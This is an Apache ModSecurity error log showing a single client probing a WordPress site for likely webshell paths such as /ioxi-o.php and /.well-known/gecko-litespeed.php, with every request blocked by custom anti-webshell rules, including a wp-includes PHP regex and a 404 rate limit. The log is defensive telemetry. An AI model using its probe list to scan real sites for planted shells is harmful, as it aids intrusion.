[Tue Nov 25 20:57:08.297796 2025] [:error] [pid 43981:tid 44003] [client 4.206.153.235:63586] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-error.php"] [unique_id "aSWnpAgZn97m_qh_RaFY9QAAAxQ"]
[Tue Nov 25 20:57:08.726054 2025] [:error] [pid 28836:tid 29007] [client 4.206.153.235:59488] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-error.php"] [unique_id "aSWnpJwNRsoxcLQGkTfauAAAAtE"]
[Tue Nov 25 20:57:09.149635 2025] [:error] [pid 28739:tid 28778] [client 4.206.153.235:63540] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-error.php"] [unique_id "aSWnpRxGpKmlkG4FexSUxwAAAhA"]
[Tue Nov 25 20:57:09.568222 2025] [:error] [pid 43843:tid 43849] [client 4.206.153.235:59483] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSWnpRhx4v3NUNdMKDPovwAAAcQ"]
[Tue Nov 25 20:57:09.981110 2025] [:error] [pid 14077:tid 14118] [client 4.206.153.235:63526] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSWnpRG9n7UHEkwDTyi8cgAAAEg"]
[Tue Nov 25 20:57:10.405480 2025] [:error] [pid 28739:tid 28764] [client 4.206.153.235:63567] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSWnphxGpKmlkG4FexSUzwAAAgI"]
[Tue Nov 25 20:57:10.819289 2025] [:error] [pid 14076:tid 14091] [client 4.206.153.235:63611] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSWnpnsB4Gz6Qw-pvBsvwAAAAAo"]
[Tue Nov 25 20:57:11.236052 2025] [:error] [pid 14078:tid 14142] [client 4.206.153.235:63496] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSWnp9VXYbb0ii_rVoJkiAAAAIU"]
[Tue Nov 25 20:57:11.651584 2025] [:error] [pid 14078:tid 14152] [client 4.206.153.235:63603] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSWnp9VXYbb0ii_rVoJkjAAAAI8"]
[Tue Nov 25 20:57:12.067470 2025] [:error] [pid 14078:tid 14154] [client 4.206.153.235:59461] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSWnqNVXYbb0ii_rVoJkjQAAAJE"]
[Tue Nov 25 20:57:12.535117 2025] [:error] [pid 14076:tid 14103] [client 4.206.153.235:63492] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSWnqHsB4Gz6Qw-pvBsvxAAAABY"]
[Tue Nov 25 20:57:13.006803 2025] [:error] [pid 2987:tid 3002] [client 4.206.153.235:63609] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWnqc-djEt-pTzPxny8swAAAU0"]
[Tue Nov 25 20:57:13.420420 2025] [:error] [pid 14078:tid 14156] [client 4.206.153.235:63521] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWnqdVXYbb0ii_rVoJkkAAAAJM"]
[Tue Nov 25 20:57:13.854120 2025] [:error] [pid 14077:tid 14127] [client 4.206.153.235:63575] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWnqRG9n7UHEkwDTyi8ggAAAFE"]
[Tue Nov 25 20:57:14.281771 2025] [:error] [pid 2987:tid 2995] [client 4.206.153.235:63593] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aSWnqs-djEt-pTzPxny8twAAAUY"]
[Tue Nov 25 20:57:14.700225 2025] [:error] [pid 14078:tid 14143] [client 4.206.153.235:59498] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSWnqtVXYbb0ii_rVoJkkwAAAIY"]
[Tue Nov 25 20:57:15.114214 2025] [:error] [pid 28739:tid 28766] [client 4.206.153.235:59463] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSWnqxxGpKmlkG4FexSU4gAAAgQ"]
[Tue Nov 25 20:57:15.527176 2025] [:error] [pid 28609:tid 28638] [client 4.206.153.235:63545] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSWnqyGGdT-nZJVs3x3cDwAAAZQ"]
[Tue Nov 25 20:57:15.939377 2025] [:error] [pid 14076:tid 14095] [client 4.206.153.235:59459] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSWnq3sB4Gz6Qw-pvBsvyQAAAA4"]
[Tue Nov 25 20:57:16.374278 2025] [:error] [pid 28739:tid 28779] [client 4.206.153.235:63531] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSWnrBxGpKmlkG4FexSU5AAAAhE"]
[Tue Nov 25 20:57:16.785483 2025] [:error] [pid 43843:tid 43853] [client 4.206.153.235:63520] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSWnrBhx4v3NUNdMKDPozgAAAcg"]
[Tue Nov 25 20:57:17.261742 2025] [:error] [pid 43981:tid 44004] [client 4.206.153.235:63507] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSWnrQgZn97m_qh_RaFZBQAAAxU"]
[Tue Nov 25 20:57:17.681076 2025] [:error] [pid 28739:tid 28780] [client 4.206.153.235:63551] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSWnrRxGpKmlkG4FexSU5gAAAhI"]
[Tue Nov 25 20:57:18.120242 2025] [:error] [pid 28739:tid 28777] [client 4.206.153.235:63550] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSWnrhxGpKmlkG4FexSU5wAAAg8"]
[Tue Nov 25 20:57:18.540154 2025] [:error] [pid 14077:tid 14112] [client 4.206.153.235:63494] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSWnrhG9n7UHEkwDTyi8iAAAAEI"]
[Tue Nov 25 20:57:18.957227 2025] [:error] [pid 28609:tid 28641] [client 4.206.153.235:59510] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSWnriGGdT-nZJVs3x3cGwAAAZc"]
[Tue Nov 25 20:57:19.409863 2025] [:error] [pid 43843:tid 43861] [client 4.206.153.235:63600] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSWnrxhx4v3NUNdMKDPo0QAAAdA"]
[Tue Nov 25 20:57:19.870946 2025] [:error] [pid 14077:tid 14110] [client 4.206.153.235:63514] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSWnrxG9n7UHEkwDTyi8jAAAAEA"]
[Tue Nov 25 20:57:20.316360 2025] [:error] [pid 28836:tid 28968] [client 4.206.153.235:63530] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSWnsJwNRsoxcLQGkTfawgAAAs0"]
[Tue Nov 25 20:57:20.781326 2025] [:error] [pid 14077:tid 14121] [client 4.206.153.235:63599] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSWnsBG9n7UHEkwDTyi8jwAAAEs"]
[Tue Nov 25 20:57:21.201529 2025] [:error] [pid 14078:tid 14142] [client 4.206.153.235:63533] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSWnsdVXYbb0ii_rVoJkoAAAAIU"]
[Tue Nov 25 20:57:21.624400 2025] [:error] [pid 14078:tid 14153] [client 4.206.153.235:63602] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSWnsdVXYbb0ii_rVoJkpAAAAJA"]
[Tue Nov 25 20:57:22.114348 2025] [:error] [pid 28739:tid 28765] [client 4.206.153.235:63601] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSWnshxGpKmlkG4FexSU8QAAAgM"]
[Tue Nov 25 20:57:22.532791 2025] [:error] [pid 28739:tid 28772] [client 4.206.153.235:63560] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSWnshxGpKmlkG4FexSU8wAAAgo"]
[Tue Nov 25 20:57:22.944834 2025] [:error] [pid 43843:tid 43866] [client 4.206.153.235:63565] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSWnshhx4v3NUNdMKDPo0wAAAdU"]
[Tue Nov 25 20:57:23.401685 2025] [:error] [pid 14168:tid 14193] [client 4.206.153.235:63572] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSWns_R-ZDU0QEgAIIt_WQAAANY"]
[Tue Nov 25 20:57:23.881406 2025] [:error] [pid 14168:tid 14186] [client 4.206.153.235:59515] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "aSWns_R-ZDU0QEgAIIt_WwAAAM8"]
[Tue Nov 25 20:57:24.361297 2025] [:error] [pid 43843:tid 43857] [client 4.206.153.235:59472] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "aSWntBhx4v3NUNdMKDPo1AAAAcw"]
[Tue Nov 25 20:57:24.874635 2025] [:error] [pid 14078:tid 14143] [client 4.206.153.235:59462] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "aSWntNVXYbb0ii_rVoJkqwAAAIY"]
[Tue Nov 25 20:57:25.288149 2025] [:error] [pid 2987:tid 3008] [client 4.206.153.235:59504] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "aSWntc-djEt-pTzPxny8ugAAAVM"]
[Tue Nov 25 20:57:25.761845 2025] [:error] [pid 43843:tid 43864] [client 4.206.153.235:63607] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWntRhx4v3NUNdMKDPo2AAAAdM"]
[Tue Nov 25 20:57:26.181036 2025] [:error] [pid 28739:tid 28764] [client 4.206.153.235:63491] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWnthxGpKmlkG4FexSU9gAAAgI"]
[Tue Nov 25 20:57:26.810064 2025] [:error] [pid 14076:tid 14081] [client 4.206.153.235:63568] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWntnsB4Gz6Qw-pvBsv5gAAAAA"]
[Tue Nov 25 20:57:27.224617 2025] [:error] [pid 43843:tid 43855] [client 4.206.153.235:59417] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSWntxhx4v3NUNdMKDPo2gAAAco"]
[Tue Nov 25 20:57:28.012343 2025] [:error] [pid 14076:tid 14089] [client 4.206.153.235:59480] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSWnuHsB4Gz6Qw-pvBsv6AAAAAg"]
[Tue Nov 25 20:57:28.513425 2025] [:error] [pid 28609:tid 28640] [client 4.206.153.235:63489] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSWnuCGGdT-nZJVs3x3cMAAAAZY"]
[Tue Nov 25 20:57:29.001392 2025] [:error] [pid 28739:tid 28772] [client 4.206.153.235:63517] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSWnuRxGpKmlkG4FexSVKQAAAgo"]
[Tue Nov 25 20:57:29.425354 2025] [:error] [pid 28836:tid 28969] [client 4.206.153.235:59465] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSWnuZwNRsoxcLQGkTfawwAAAs4"]
[Tue Nov 25 20:57:30.035393 2025] [:error] [pid 28609:tid 28630] [client 4.206.153.235:63500] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSWnuiGGdT-nZJVs3x3cNgAAAYw"]
[Tue Nov 25 20:57:30.459256 2025] [:error] [pid 28609:tid 28642] [client 4.206.153.235:59464] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/about.php"] [unique_id "aSWnuiGGdT-nZJVs3x3cOQAAAZg"]
[Tue Nov 25 20:57:30.875910 2025] [:error] [pid 28609:tid 28637] [client 4.206.153.235:63525] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/about.php"] [unique_id "aSWnuiGGdT-nZJVs3x3cOgAAAZM"]
[Tue Nov 25 20:57:31.294046 2025] [:error] [pid 28739:tid 28765] [client 4.206.153.235:59496] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/about.php"] [unique_id "aSWnuxxGpKmlkG4FexSVOwAAAgM"]
[Tue Nov 25 20:57:31.706307 2025] [:error] [pid 14078:tid 14146] [client 4.206.153.235:59502] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSWnu9VXYbb0ii_rVoJksQAAAIk"]
[Tue Nov 25 20:57:32.164116 2025] [:error] [pid 14078:tid 14144] [client 4.206.153.235:63556] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSWnvNVXYbb0ii_rVoJkswAAAIc"]
